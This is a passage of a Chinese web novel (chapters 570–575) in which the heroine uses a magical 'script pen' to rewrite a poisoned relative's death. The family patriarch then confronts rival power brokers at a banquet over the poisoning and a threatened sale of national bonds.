竟然派军队镇守,显然是防着有人后续布局,沈娇毕竟是三房的人,沈兰晞竟然能做到这个地步?难道他就不怕三房得势之后反过来对付他? 沈渊低头看着被肩膀的血窟窿,漆黑的眼瞳暗了又暗。 …… 第570章 我能,你要什么我都给你 沈兰晞安排的是一家私人医院,院方已经提前接到了通知,早早在清场留出了飞机停摆的空间。 三架飞机刚落地,一众医护人员便推着移动床把沈娇接进了手术室,整个过程衔接的十分流畅,没有一丝拖泥带水。 抢救室的灯亮起,又是一场与死神搏斗的战役。 所有人安静守在门外,眼前的场景莫名与两年前重合,那时,沈娇也是这样守在门外等着傅绥尔。生死之局轮流上演,这种被胁迫的感觉真的糟糕透顶。 姜花衫坐在角落,目不转睛看着手机里的时间,她已经把她能做的都做了一遍,现在也只能等了。 上一世,沈娇是死在鲸港协和抢救手术室里,院方给出的答案是,因为滥用毒品吸食过量造成呼吸中枢紊乱,窒息而亡。一句滥用毒品就给沈娇定上了永远不可磨灭的耻辱。 她细细梳理过沈娇的死亡线,最后得出的结论是沈娇未必死于窒息,极有可能是抢救过程出了问题,也就是说,暗害者的致命一击是在医院。 所以她才想方设法阻止沈谦和沈渊介入。 现在抢救的环境改变的,人也改变的,沈娇的结局是不是也可以改变? 傅绥尔的身体一直在抖,但她也知道这个时候不能再给大家添乱,只能强忍着恐惧放空自己。 姜花衫有些不忍,轻轻拍了拍她的肩膀,“不用紧张,会好起来的。” 傅绥尔眼里略微有了笑意,“嗯。” 沈清予的目光在姜花衫身上停留了片刻,又默默收了回去。 沈兰晞一直在和沈庄通话,回头见姜花衫轻声细语安慰傅绥尔时心跳忽然快了半拍。 他从未见过她这么温柔的样子,明明自己的脸上还挂着血痕,却还在为别人的难过担忧。 都说她最没心没肺,但在拯救沈娇的这场战役里,她独挡了一面,将所有的火力都引在了自己身上,那么艰难的时候,她都能让傅绥尔寸步不离守着沈娇,可见她对喜爱的之人的感情有多浓烈。 这种心悬在刀尖的感觉每一秒都是煎熬,d但手术室的灯一直到天黑都没有熄灭。 渐渐地,就连姜花衫都有些不安了。 “咔——” 就在这时,手术室的被人从里面打开了,一个穿着白色大褂的女医生走了出来。 所有人立马回神,不约而同围了上去。 傅绥尔急不可耐,一把拽着医生的手,“我妈妈怎么样了?” 医生取下口罩,神情哀默,“我们已经用尽了各种方法,但病人还是没有任何起色,她的瞳孔已经没有弧光,从医学上基本已经可以鉴定为死亡征兆了。” 死亡?! 【叮——】 【警告!由于当前人物恶意篡改剧目,主线剧情已严重偏离,现已为您启动书灵模式,强制回归主线。】 【提示:你当前章节进度为第570章-“沈娇之死”】 “……”姜花衫默默捂着耳朵。 傅绥尔情绪激动,死死拽着医生的手,“不会的,不会的!事情还没到最后,我妈妈不会死的。你们再救救她!我求求你们,你们再救救她!救救她!” “绥尔……”沈眠枝死死抱着傅绥尔。 医生见惯了生死,也见多了面对死别的家属,虽然抱歉该说的还是要说,“但傅绥尔情绪激动明显交流不了,她便转头看向沈兰晞,“沈少爷,病人应该是在昏迷时被人强制注射了大量阿片d毒品,这种毒性对于大脑失控的人来说极度危险,救治的时间只有黄金十分钟。病人送来的时候其实就已经不行了。” 沈兰晞脸色微变,下意识转头看向姜花衫。 沈眠枝和沈清予也察觉到什么,满是担忧看着她。 抢救的时间是黄金十分钟? 这么说,是她自以为是害了沈娇? 姜花衫一言不发,往后退了一步,转身跑了出去。 “衫衫!” 沈兰晞的心彻底被搅乱,抬步正要追,一旁的医生一把拽住他,“沈少爷,情况我已经向您说明,这份死亡书……” “她不会死!”傅绥尔怒吼,“什么黄金十分钟?我妈妈那么要强怎么可能只让自己撑十分钟?去救!去救她!” 沈眠枝死死抱着傅绥尔的腰,唯恐盛怒之下伤了人。 沈兰晞被眼前的纷乱牵绊,不得已只能转头看向高止,“你还站在这做什么?!” 高止默默指了指旁边空出的位置,“清予少爷已经追出去了。” “……”沈兰晞忽然感觉憋了一口气不上不下,勉强收敛心神后,一把拉住傅绥尔,“绥尔,换衣服,你跟他们一起进去。” 傅绥尔愣了半晌,许久后轻轻颔首。 * “小花儿!” 沈清予追出过道的时候眼前已经完全没有了姜花衫的身影,他一路喊,但始终得不到姜花衫的回应。 “你喊什么?” 正当他准备下楼时,电梯叮的一声打开,沈归灵从里面走了出来。 沈清予回身一把揪住沈归灵的衣襟,“争着要去南湾的是你,一次又一次看不住人的也是你!沈归灵,你没本事就不要争。” 沈归灵低眸,目光平静,“出什么事了?” 高止追出来的时候正巧看见这一幕,赶紧上前解释,“阿灵少爷,幺小姐被下死亡通知书,姜小姐受不了刚刚跑出去了。” 沈归灵眼睑微动,抬眸迎上沈清予的目光,“松手。” 沈清予冷笑,推了沈归灵一把转身下了楼梯。 沈归灵,“莫然你去查查整件事情的来龙去脉,雷行你去手术室门口守着。” 说罢,转身进了电梯。 沈归灵思忖片刻按下了顶楼数字。 刚刚上来的时候,三个电梯一个往下,一个停留在现有楼层,还有一个去了顶楼。他认识的姜花衫不是会逃避的人,沈娇出了这么大的事她不在医院守着,一定是去找别的方法了。 越是这个时候越要争分夺秒,以她的性格绝不会走楼梯,所以上升的那个电梯一定是她。 “叮——” 顶层的电梯打开,沈归灵直接冲出了轿厢,爬上半层发现天台的门半掩着。 他心莫名被牵动,快步冲上台阶一把推开铁门。 姜花衫刚打开飞机舱门,听见后面传来声响,下意识回头。 待看见光影里走出的人影,她先是愣了愣,忽然不顾一切冲了上去。 “沈归灵,我妈妈要死了,你能不能……” 沈归灵一把抱住她,“我能,你要什么我都给你。别哭。” …… 第571章 爱与剧目之笔 【叮——】 【恭喜当前人物姜花衫顺利完成宝藏剧目,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度100%。】 【完成条件:小可怜学会爱,爱意生成:你怎敢轻视我对你的爱?】 姜花衫身体微僵,怔怔看着沈归灵,含在眼眶的泪要落不落。 沈归灵低头,黑色的眸光里都是她的影子,“你想要什么?” 【叮——】 【爱意有效,恭喜当前人物姜花衫获得‘爱’与‘剧目之笔’】 【叮——】 【剧目之笔使用规则:可根据使用者的意愿生成新剧情或者改写命定剧情。温馨提示:规则之力强大,剧目之笔仅有一次改写机会,使用后不可撤回、不可更改。】 就是这个。 姜花衫眨了眨眼,泪珠从眼眶落下的瞬间,脑海里的剧目之门突然爆发出前所未有的炫目光芒,漆黑无垠的识海里亮起了细如尘埃的荧光。 那些散发着光的粒子极其微小,仿佛是广袤沙漠里的一粒沙,又像是三千浮光里的一颗尘,但这样的它们有成千上万个,荧荧之光悬浮在无边无尽的黑暗里,仿佛是哪位神明正在用斧凿雕刻什么? 姜花衫闭眼晕了过去。 沈归灵少有的慌乱,一把拦腰将人抱在怀里。 “衫衫……” * 另一边,沈清予冲出门厅,四处张望却还是没有看见姜花衫的身影,想着她现在一定很难过,沈清予一刻都等不了又转回了电梯。 飞机停在天台,不管怎么样,得先把人找到。 “清予,你在这转来转去做什么?你姑姑怎么样了?” 电梯的数字刚跳到一楼,沈庄便带着一群人从外面走了进来。 沈清予一见沈庄,立马有了主心骨,快步迎了上去,“爷爷,您终于来了?” 沈庄全然没有了往日的从容,紧紧拉着沈清予的手,“阿娇她?” 一同随行的除了沈让,还有沈谦和沈渊,两人眼看未央台被国军把守,想着沈庄应该已经回鲸港了,立马联系了沈让,装模作样跟着了过来。 沈清予犹豫片刻缓缓道,“医生已经给小姑姑下了死亡通知书。” 话落,沈庄差点站不住倒了下去。 “爸!” “爷爷!”沈清予赶紧扶着沈庄。 沈庄紧紧抓着他的手腕,声音低沉,“带我去。” 沈清予点头,搀扶着沈庄进电梯,沈渊和沈谦默默对视了一眼,努力装出悲痛模样,沈让没有跟随众人进电梯,而是站在原地,久久没有回过神。 沈清予将沈庄送出到抢救室转身就走,沈渊愣了愣,一把拽着他,“你去哪?” “爷爷。”沈清予一把甩开沈渊的手,“衫衫不知道去哪了,我去找她。” 沈庄眸色黯了几分,点了点头,拄着拐杖默默往手术室走去。 沈渊见状,权衡了一番跟上沈庄,“爸,我扶您。” 沈庄一把推开沈渊,独自往前走。 沈清予看在眼里,沉默了片刻依旧选择背道而驰,谁知,电梯门刚打开,他就看见沈归灵抱着姜花衫从轿厢里走了出来。 “怎么回事?”他愣了愣,上前想接过姜花衫,却被沈归灵无视绕了过去。 沈清予皱眉,大步追了上沈归灵,“她怎么,怎么会晕过去?” 沈归灵脚步顿住,偏头打量他,“你说呢?你母亲死的时候你是什么感觉?” 沈清予眸底掀起暗涌,一把揪住沈归灵的衣襟,“你有种再说一句?” 沈归灵,“再说多少遍都一样,她总不能是因为太开心所以晕过去了?” 沈清予愣了愣,不自觉偏头,她哭过,眼睫毛都湿了,可是她分明是最不喜欢哭的。 沈归灵抬眸,目光极其平静,“未央台出事的时候你在哪里?姜花衫开着你的车去政府广场闹事的时候你又在哪里?沈兰晞去了襄英你却还留在鲸港,再你眼皮子底下发生这种事,你还问我她怎么了?” “那句话该我说才对,没本事就不要争。” 沈清予眼睑下沉,丹凤眼尾上扬,仿佛利刃出鞘。 沈归灵侧过身子,挣脱沈清予的桎梏,从他眼前绕了过去。 两人擦肩而过时,他的脑海里忽然闪过一幕,姜花衫挡在他身前,“你也不能上去。” “……” 沈清予垂眸,眉宇间的锐气顷刻间消沉。 * -【当前人物姜花衫,是否使用剧目之笔。】 再次睁眼,姜花衫置身于一片荧光之中,绿色的藤蔓四处招摇,显露花色的花苞轻轻点头,上空慢慢浮现绿色的荧光字幕: “是。” 话音刚落,剧目之门缓缓打开,被藤蔓缠绕的书页如同活过来一般自动翻转。 -【请选择你要改写的剧目】 姜花衫紧紧握拳,片刻后又松开了指尖,她轻声说道,“沈娇之死。” -【是否改写当前章节:沈娇之死?】 “是。” -【现已为您开放当前章节创作权限,修改时间为24小时,时间结束,权限关闭,是否启动?】 “是。” -【欢迎来到当前章节:沈娇之死】 荧光散去,一直翻动的书页被锁定在了第570章,原本空白的页面突然浮现出了密密麻麻的文字。 -【病床里的气氛格外凝重,傅绥尔趴着床边哭的泣不成声。 “妈妈,求求,你醒过来看看我。我这次很乖,我没有被蛊惑,没有学坏,我以后还会变成你的骄傲,我明明什么都变了,为什么还是什么都改变不了?” 她不知道事情为什么会变成这样,明明她们都已经这么努力了,为什么结局就是无法改变? 这一刻她恨透了这个世界,恨透了这被安排好的宿命。 “滴——” 原本起起伏伏的心电图突然归于寂静。 “不要!我不要!” 傅绥尔不顾众人的反抗死死抱着病床上的沈娇,“她没有死!她不会死!不会……” 主治医生十分不忍,上前宽慰,“节哀。” 这话仿佛就像是一根利刃刺进了傅绥尔的心口,她眼里的情绪彻底撕裂,回身用力推搡医生,“她没有死!我不准你们这么说!滚!你们都滚出去!” 傅绥尔神情涣散,回想着在救助站学过的急救方法,双手压着沈娇的心口重复不断做心脏复苏。 其实当她的手掌触碰到沈娇冰冷的身体时,傅绥尔就已经感觉到了什么,但她不愿相信,只能用这么愚蠢的方法企图麻痹自己。 “没有用的。” 医生轻叹了一声,有些为难看向一直沉默的沈兰晞,“沈少爷,这……” “随她吧。”沈兰晞神色淡淡,这一刻,他仿佛看到幼年的自己,没有那个孩子能与死亡好好道别的,因为他们最开始都会选择不相信。 “啪——” 忽然,门外传来一声异响。 沈兰晞转身便看见沈庄怔然站在门外,手里的拐杖因为失去重重掉在了地上。 “幺儿……” 老人轻轻喊了一声,但回应他的只有傅绥尔形同机械般的自语。 “幺儿……”沈庄颤巍巍走到病床前,待看见沈娇毫无血色的面容,眸底仅剩的几分希冀彻底碎裂。 他的感情隐忍克制,他不能像傅绥尔那样放声大哭,所以当再次面临白发人送黑发人的境地他只是悲凉地独自沉静。 目睹此情此景,沈谦和沈渊悬着的心终于落回了原处,沈娇死了,沈澈被驱逐,以后三房就剩一个沈让和三个黄毛丫头,还拿什么跟二房斗?】 看到这,姜花衫不觉皱起了眉头,抬手摊开指尖,“笔。” 话落,悬浮在空中的微光粒子慢慢向她掌心聚拢,她手握绿光,在章节最末提笔写下新的开端……】 …… 第572章 被改写的结局 -【 “滴——” 心跳的复苏只需要一秒,安静的心率图像是年久失修的机器忽然被谁拧动了发条,干劲十足开始工作。 所有人在这一刻被惊醒。 傅绥尔低头看着自己的手掌。 “怦——怦——怦——” 她的掌心感受到了一种前所未有的震动,那是生命的回响。 “妈妈……”她轻轻喊了一声,随即朝身后的医生大喊,“我妈妈没有死!没有死!” 此时的医生也反应过来,纷纷围了上来准备第二轮抢救工作。 傅绥尔欣喜过后立马冷静下来,主动让出了床前的位置。 病床前的到处都是忙碌的身影,但这一刻她已经无所畏惧,因为她知道,奇迹已经降临。】 * 翌日。 “她还没有醒吗?” 沈眠枝推门而入,窗台前的树影隐隐晃动,晨光如绞纱轻吻着病床前的玫瑰。 “嘘。”傅绥尔做了个噤声的手势,小声道,“她累了,让她多休息会儿。” 沈眠枝搬着椅子挨着床边坐下,“这有我,你去守着姑姑吧。” 傅绥尔摇头,“我妈妈已经没事了,再说,有爷爷在我很放心。” 沈眠枝回眸,目光落在姜花衫的脸上,傅绥尔跟着看了过去,眼里忽然多了几分笑意。 “她真的是星星。” 度假山庄那次,大家一起露营看星星,傅绥尔曾问过一个问题,“除了星星,还有什么是与过去同时存在的?” 姜花衫说,“还有我啊。” 现在傅绥尔说,姜花衫是星星,若是旁人不会明白她话里的深意,但沈眠枝能懂。 她没有深究,只是笑了笑,“现在所有人都说你是创造了奇迹,但你却说她是星星。” “十三岁那年,是衫衫陪着我一起我才有了对世界的认知,但老师却选了我做学生;十五岁,我替她挡了一枪,从鬼门关归来后突然变成了锦鲤体质;十八岁,我被宿命击得溃不成军奇迹却还是属于我……” 傅绥尔眼眶微红,边哭边笑,“你怎么把什么好东西都给我?” 沈眠枝垂眸,轻轻拍了拍她的肩膀。 * 深渊识海中。 姜花衫双腿盘坐,神情凝重,她用缠在手臂的绿光在书页上奋笔疾书。 -【沈娇转醒,沈渊和沈谦自知走投无路,转身从医院七楼跳下,卒!】 字迹刚落下,光影还能嵌入纸面就被缠绕在书页上的藤蔓用叶子擦得干干净净。 姜花衫恼羞成怒,不满给了藤蔓一巴掌,“说好的24小时后结束,时间还没到,你凭什么不让我写?” -【剧目之门所有剧情都必须遵照客观逻辑事实,一切与剧情逻辑相违背的剧目都会被规则之力抹杀。】 姜花衫没忍住翻了个白眼。 什么破规矩,害得她这么好的脑洞毫无用武之地。 既然这个不能写,那就换个。 她苦思冥想,忽然眼前一亮。 -【沈娇转醒,沈渊和沈谦自知罪恶无法掩藏,主动向沈庄承认错误,沈庄一怒之下将两人逐出沈家。】 这次,字迹直接从页面上掉了下来,化作散光随风消散。 姜花衫皱眉,骂骂咧咧,“怎么这也不行?!” 她想了想,又提笔写道:“沈让见沈娇转醒,心中满是担忧,未免沈娇透露他是幕后主使,他偷偷潜入病房企图再次加害,不想正好被沈庄撞见,一枪击毙。” 不出意料,还是无效剧目。 姜花衫抓了抓额头越挫越勇,顿时灵感爆发,捞起袖摆库库创作。 一时间各种互斗、拉踩、被杀的抓马剧情层出不穷。 -【剧目之门:……】 再创造了五十几个无效剧目后,姜花衫的灵感终于枯竭, 眼看手臂的绿光渐渐散去,她随笔写下: “知道沈娇没死,沈亦泽和沈亦杰离开了鲸港。” 原以为有个无效剧目,但这次绿光力透纸背,上述文字如有意识一般自动排序落在终章结尾。 剧情生效。 -【叮——】 -【时间截止,剧目之力收回】 -【叮——】 -【现已为您生成创作篇章:“第五百七十二章:被改写的结局”】 -【作者:姜花衫】 …… 第573章 邀请 沈娇的转醒被医学称为奇迹,苏丽私人医院的医生们对此兴奋不已。 生命之所以珍贵且独特,就是因为它存在很多医学解释不了的谜。 但沈庄是个唯物主义者,他这一生只有过唯二的两次唯心,一是八年前站在淮城的白山茶树下祈祷来生结缘,二是五年前夜宴谈话后承认了姜花衫的存在,所以对于此次沈娇的获救,他选择了刨根问底。 沈家连夜调来了三个生物实验基地泰斗,在经过对沈娇血样的上百次的化验后,专家们给出了奇迹发生的真实解答。 是沈娇体内的解毒抗体发挥了作用。 沈家人从很小的时候就会被注射各类的药性抗体,这使得他们身体的抗毒性大大优于普通人,凶手给沈娇注入了大量的阿片类毒素,这使得沈娇立马陷入了窒息,虽然大脑已经停止工作,但她身体的抗性一直在活动,由于毒性太强所以抗原防御的时间过长,但好在最后还是挺过来了。再加之外界抢救工作的辅助,这才把沈娇从鬼门关拉了回来。 这份报告算得上是最权威的解释,姜花衫拿到报告时,表情一言难尽。 原来她之所以能复活沈娇是因为沈娇有复活的条件,如果沈娇不是因为身体里有抗性,这个复活的剧情就会被视为不遵照客观事实无法生成剧目,这么说来,如果爷爷的死局再次上演,她不光要改变结局,还要创造出能改变结局的支线,因为如果是必死局,哪怕她再拥有一次改写能力也将无济于事。 这么看来,她之前的思路就是对的。 只要扭转每一根支线,让他们与上一世相反的方向发展,爷爷的死局就可以破。 与上一世相反…… 她双腿盘膝,单手撑着额头,皱着眉头苦思冥想。 从脑子里长了棵树后,她每天都被迫用脑,感觉智慧都要升华了。 沈归灵推门进来的时候,她还保持着思考者的模样,他在原地站了一会儿,轻轻掩上门顺手反锁。 “想什么?” 姜花衫想的入神,冷不丁听见一道磨耳的声音,心神一下散乱。 她能感觉到头顶覆上了一片阴翳,但这次,她无法像往常一样随意,掩在重睫下的黑眸左闪右躲。 沈归灵察觉到她不对劲,略有些疑惑,目光触及到她手里的报告便又释怀,“还在担心小姑姑?” 姜花衫呵呵笑了两声,“是啊。” 沈归灵盯着她神色看了一会儿,拉过坐椅挨着床边坐下。 “你之前想问我要什么?” 要什么,要心动啊! 那个时候她满脑子想着拿剧目之笔救沈娇,所以根本没有想过,自己凭什么一句话就能拿走一个人百分百的喜欢,但偏偏沈归灵给了,在她没有说出口之前,毫无征兆地给了。 她一直以为差的那一点,需要一次刻骨铭心的经历才能换,就像小时候傅绥尔给她看的那些爱情小说一样,男女之间的感情总要经历很多,就好像只有这样感情才能牢不可破。 但事情好像不是这样…… 她犹豫了片刻,抬眸看着他,“沈归灵,你怎么知道我在天台?” “感觉。”他说的轻描淡写。 感觉? 姜花衫微微皱眉,“那你看到我的时候你在想什么?” “……”沈归灵愣了愣,不防她突然问出这么直白的问题,收敛在眸底的弧光渐渐起了涟漪,他摇头,“什么都没想。” 其实是看见就觉得欢喜,无暇再想其他。 显然姜花衫是不懂的,眼里还有几分存疑,但很快那几分疑虑自动打消,二十四小时结束,逆天的剧目之力被收回,但沈归灵的喜欢还在,连剧目之门都无法收回的爱意,她这个时候否认对沈龟灵不公平。 沈归灵见她沉默不语,思忖片刻又再次开口,“准确来说是一开始什么都没想,但后来想了很多。” 姜花衫看了他一眼,“很多?” 沈归灵倾身,修长手掌试探性的搭上了她的手腕,姜花衫愣了愣,正是这恍惚的几秒时间里,沈归灵感知到了与以往不同的信号,指尖沿着姜花衫的手背慢慢展开直至最后完全包裹进掌心。 “以后绝对不会有下一次,所以……这次能不能不要扣分?” 第574章 鸿门宴 “沈庄给我的信?” 周公馆。 “啪——” 周国潮手掌收拢站起身,掌心沉香手串发出沉闷的撞击声。 周管家微微欠身,双手递上信函,“这是在先生身上发现的,上面还写着您的名讳。” 周元白看了周老爷子一眼,上前接过信件,拆了封条稍稍过目不觉脸色沉了下去。 “爸,沈庄请您去沈园一叙。” 周国潮眼睑微眯,“拿来。” 周元白立马递上信笺。 周元义左右看了看,拍着大腿起身,“爸,沈家人把二哥打成那样一个交代都没有,现在又请您去沈园,您说他们这是安的什么心啊?” 周国潮看着信笺上苍劲刚硬的字体,神情渐渐凝重。 “鸿门宴。” 周元白,“父亲,不如我替您去?” 周国潮摆手,轻轻摇头,“这宴周家要么不去,要去就必须是我亲自去。” 周元白略有些迟疑,“沈家老爷子把半个警署厅都掀了,您说,他到底想干什么?” 周国潮低眸看着信笺,漫不经心把玩着手里的沉香手串,“想干什么去看看不就知道了?” 半个小时后,周元义单独从书房走了出来,家中大事周老爷子向来只跟老大商量,对于这点他也已经习惯了。刚出主厅便碰上从外面回的周宴珩。 对于这位家主侄子,周元义比亲女儿还亲,大老远看见便笑着迎了上去。 “阿珩,怎么样?你二叔还好吧?” 周宴珩,“医生说两只腿都断了需要重新接骨,我回来找爷爷商议看看怎么处理?” “这个沈家,嚣张至极!”周元义愤懑不已,“他们把你二叔打成那样,现在又请老爷子去沈园做客,真不知道安的什么心。” 周宴珩原本不想搭理周元义,听了这话脚步顿时,脸上略有几分意外,“沈家请爷爷去沈园?” 周元义点头,“可不是吗?打了人丢门口羞辱就算了,还直接直接发贴给老爷子,依我看,沈家这是在跟咱们周家宣战。” 周宴珩眸光微沉,略微颔首直接越过。 “诶……阿……” “老公,你喊谁呢?”徐文佩听见周元义的声音赶紧从二楼跑了下来。 周元义顿时黑脸,“谁让你下来的,不是跟你说了要你没事多陪陪大嫂说话吗?我们难得回主家一趟,你怎么连这点小事都做不好?” 徐文佩习惯了以夫为天,陪着笑解释,“我和大嫂一直在说话,也就是刚刚我看着时间差不多了才出来的。” “嗯,反正你记住,在这个家必须谨言慎行,不要给我惹麻烦。” 徐文佩不敢忤逆,连忙点头,“记住了。” 眼见周元义脸色稍缓,她壮着胆子试探道,“今天大嫂还跟我聊起了阿珊。” “说她做什么?!”周元义眼角抽动,一副发怒的征兆。 徐文佩立马替自己开脱,“是大嫂问我,阿珊有没有给家里写信。不是我……” 周元义冷哼了一声,“写什么信,我早就说了,她敢出去我就当她死外面了,好好的联姻她不听,偏偏要学花木兰从军,一个女儿家无权无势,她能闯出什么名堂?” 徐文佩顿时眼睛发酸,掩面哭了起来。 毕竟是从她身上掉下来的一块肉,哪能说舍就舍?但她也不敢忤逆周元义,只能含着眼泪往肚里吞。 * 第二天,周国潮带着周元白如约而至,原本他以为沈庄只是想和周家做个了断,没曾想庭院前坪停满了各个家族徽标的汽车,周元白不觉一愣,表情愈发凝重。 “沈家这是要做什么?” 周国潮尚有几分怔忡,便见郑松领着一群西装保镖迎了上来。 “周老爷子,里面请。” 周元白不动声色拉住周国潮,沈园今日的气氛格外不同,庭前庭后到处都是站哨的保镖,气氛凝重完全不像是在迎客。 周国潮什么大风大浪没见过,大拇指轻轻拨弄手串,“既来之则安之。”说罢,淡淡拂开周元白的手,昂首阔步向内院走去。 * “来了来了!又一只大活鳖入瓮了。” 傅绥尔站在假山顶,手里拿着一只望远镜朝湖间凉亭招手,“衫衫,枝枝,你快来看啊!” 金色艳阳落在她的眉眼明媚招摇,与一天前枯萎颓靡的样子形成了天壤之别。 姜花衫坐在凉亭一动不动,这几日她累惨了,回到沈园只想躺着,要不是傅绥尔说有好戏看非把她从菊园拉出来,她现在还在躺在床上摆烂。 沈眠枝双手托腮,笑着朝傅绥尔招手,“你快下来,上面危险。” 傅绥尔摆摆手,她才不下来,爷爷在前院摆下鸿门宴明显是要秋后算账,她倒要看看,到底是谁胆子这么大,敢在背后算计女王? 姜花衫懒懒打了个哈欠,“你陪她玩吧,我回去睡觉了。” 沈眠枝略有些意外,但什么都没说点了点头,“路上小心。” 姜花衫摆摆手,“知道了。” 眼下的沈园,五步一人十步一防,她就是想不安全都不行。 沈眠枝目送姜花衫离开,斟酌片刻走出凉亭,“绥尔。” 傅绥尔回头见只有沈眠枝一人,皱了皱眉,转身跳下假山,“衫衫呢?又回去睡觉了?” 沈眠枝点头,目光顺着主厅的方向看了过去,“今天沈家来了不少人。” “可不是,连军处和国防两部都来了人。”一想到这里面或许藏着陷害沈娇的凶手,傅绥尔眉宇间多了几分戾气。 沈眠枝略微深思,眸色渐深,“爷爷这是把全鲸港的势力都请来了?” 傅绥尔,“一网打尽也好,省的还要挨个排查。” 见沈眠枝没有接话,傅绥尔收敛的神情,蹭了蹭她的肩膀,“怎么呢?” 傅绥尔的动作比以往亲昵了几分,沈眠枝能明显感觉到她们的感情正在升温,她清咳了一声,故作淡定,“有一件我觉得应该要告诉你。” “什么?” 沈眠枝,“我觉得衫衫有可能已经猜到凶手是谁了?” * 沈渊主厅。 十二花神门面面全开,八方迎客。 周国潮前脚刚挂过门槛就被眼前的一幕怔住了。 大厅被重新布置过,偌大的圆桌旁摆着二十多把紫檀圈椅,里面乌泱泱坐着一排熟悉的面孔,见有新客,里面的人不约而同看了过来,待认清是周家老爷子后,立马起身寒暄。 周国潮面上无波,实则心里已经掀起的惊天浪涌。 沈庄这是把首脑会议的高层都请到家里来了? 他到底想做什么? “爸。” 周元白也意识到事情不对劲,正要开口却被周国潮抬手拦了回去,“人多眼杂,有什么回去再说。” 苏家老爷子手里拿着烟斗,故作轻松朝周国潮招手,“周老,听说阿正两只腿都断了,怎么这么不小心啊?” 周国潮怎么会听不出老这毒舌是在挖苦他,但眼下不宜树敌,周国潮只当没听见远远避开入座。 苏敬琉见状冷笑了一声,朝身边的萧启说道,“人啊,老了机会记性不好,这周老头尤其,永远都是记吃不记打。” 萧家因为萧澜兰被沈庄驱逐,这两年低调不少,萧启一个后辈哪敢掺和苏、周两家的恩怨,勉强笑了笑并不接话。 余斯文也在此次的邀请名单中,眼见鲸港半个权势都聚集在此,心中不免有些忌惮。 他连任的这几年,沈家行事低调从未越界,只至于他差点就忘了,沈家这位家主可是被A国民众尊称为‘影子总统’的存在。 现场大佬们偶尔低声交谈,气氛倒也和谐。 “都到了齐了?”门外忽地传来一道淡然低沉的声音,众人一愣,抬头便看见沈庄拄着拐杖从外面走了进来,紧随其后的是沈家三房男丁。 沈庄的目光在人群里逡巡了一圈,略带了几分从容的笑意,“诸位如约而至,沈某不甚荣幸。” “沈老您言重了。” 沈庄由着沈兰晞搀扶穿过横厅,坐落在圆桌上席的中心位,沈归灵、沈清予一左一右紧随其后。 沈谦、沈渊、沈让神色各异,依次坐在下首位。 苏敬琉吐了口烟圈,率先开口,“老沈,你这么大张旗鼓把我们叫来是有什么事啊?” 沈庄放下拐杖,神情温和,“没什么?就是想跟诸位算算账。” 第575章 最大的债主 算账? 这话一出,厅内引起了不小的骚动。 昨日白天姜花衫在政府广场烧车把周家飙车案推到了高潮,晚上周元正就带着警署厅的人大张旗鼓去苏丽医院抓人,鲸港城里的权贵也不是瞎子,动静闹得这么大,该惊动的都惊动了。 沈庄打断周元正的腿并未遮掩,甚至堂而皇之把他丢回的沈家,原本众人都在观望,沈、周两家打算怎么收场,不想忽然收到了沈家老爷子的邀请函。 毫不夸张,所有收到邀请函的大佬们几乎都是彻夜未眠,全都绞尽脑汁在回忆,这场针对沈家的风波里他们都扮演了什么,会不会去了沈园后被沈庄打断腿。 众所周知,沈家老爷子从沈玺过世后温和许多,以前是要人命,现在是要人腿。 周国潮冷笑了一声,现在鲸港百家争鸣,早就不是沈家一家独大,沈庄是不是老糊涂了,竟然想以一人之力跟整个A国整个权势算账,自寻死路。 姚礼和萧启与沈家利益相关,听闻沈庄要算账不免也捏了一把汗,虽然沈家势力强悍,但以一敌众确不是明智之举。 余斯文环顾一圈,主动开口,“不知老爷子想算什么账?” 虽然余家根基不如几大家族,但余斯文的社会地位摆在那,众人也纷纷附和,“是啊,还请老爷子说清楚,我们和沈家算得哪门子账?” 沈庄抬手,郑松立马送上一个檀木盒子,沈庄接过,神色依旧从容。 “昨日,小女在家被人毒害,若非她吉人天相只怕已经惨遭不测。” 周国潮不动声色,低垂着眼睑端盏喝茶。 未央台的事虽说被压了下来,但还是没能逃过权贵们的信号网,沈娇的事在这个圈层已经不算秘密了。 两个当事人都在,得罪谁都不好过,众人索性和起了稀泥,“老爷子,沈小姐的遭遇我们也很同情,但……这事总归出在沈小姐自己身上,与我们有什么关系。” 国防部部长唯恐沈庄找茬,快飞看了余斯文一眼,正色道,“老爷子,警卫队出动也是按规矩办事,虽说冲撞了沈家各位少爷、小姐,但于流程并无错处。” “没错。”周国潮捻动手里的沉香,眼睑微挑,眸光如炬迎上沈庄的目光,“说起来,我正好也有一笔账要和沈老好好算算,警署厅接到群众举报,周元正依法执行公务却被你们沈家开枪打伤了一条腿,沈娇涉嫌买卖毒品,周元正请她去警署调查却又打断了双腿,沈老是不是也该给我周家一个交待?” “周老慎言,无凭无据你凭什么说阿娇涉嫌买卖毒品?”沈让皱眉,站起身直接回怼。 周元白,“警署厅的办案记录里清清楚楚写着这还能有假?” “办案记录?谁知道那办案记录掺了多少水?你说是证据就是证据?” “警署厅的办案记录都不可信,难不成要听你们沈家一张嘴颠倒黑白?” “放……” “行了。”沈庄摆摆手,目光从容,“这件事稍后再说,先算账。” 沈让微微欠身,憋着一口气坐了回去。 沈庄将手里的木箱子递给沈兰晞,“兰晞,给他们看看。” 沈兰晞点头,双手捧过木盒,径直走到余斯文跟前。 余斯文愣了愣,但见沈兰晞眉目清冷他立马回身,小心翼翼接过木匣,这里这么多人,怎么单单拿给他?余斯文压下心中的好奇,慢慢揭开木盒。 起身,他还有些迷惑,待看清里面的东西后眸光立马转为震撼。 “这是……” 沈庄,“阿娇刚从鬼门关回来现在身体虚乏的很,趁着这次机会我打算让她好好休息,所以我打算将她手里那些国债出售给了S国李家,未免财政那边为难,所以特意通知总统先生一声。” “……”余斯文捧着满满当当的债券,饶是他做足了准备,也万万没想到,沈庄说的算账是真算账。 五十年前,A国为了快速进入全面发展,向不少有实力的家族发售了国债券,其中沈家一家就包下了百分之八十的份额,五十年过去了,按理早就到了清算的时候,但沈家一直没有提,财政也就一直挂着。 没想到沈庄竟然因为这件事要把国债卖给李家,这事要真成了,A国经济大国的政权就要被打破,货币也会贬值,全民将陷入家产缩水的暴击中。 “老……老爷子……”余斯文露出个比哭还难看的笑,“您三思啊。” 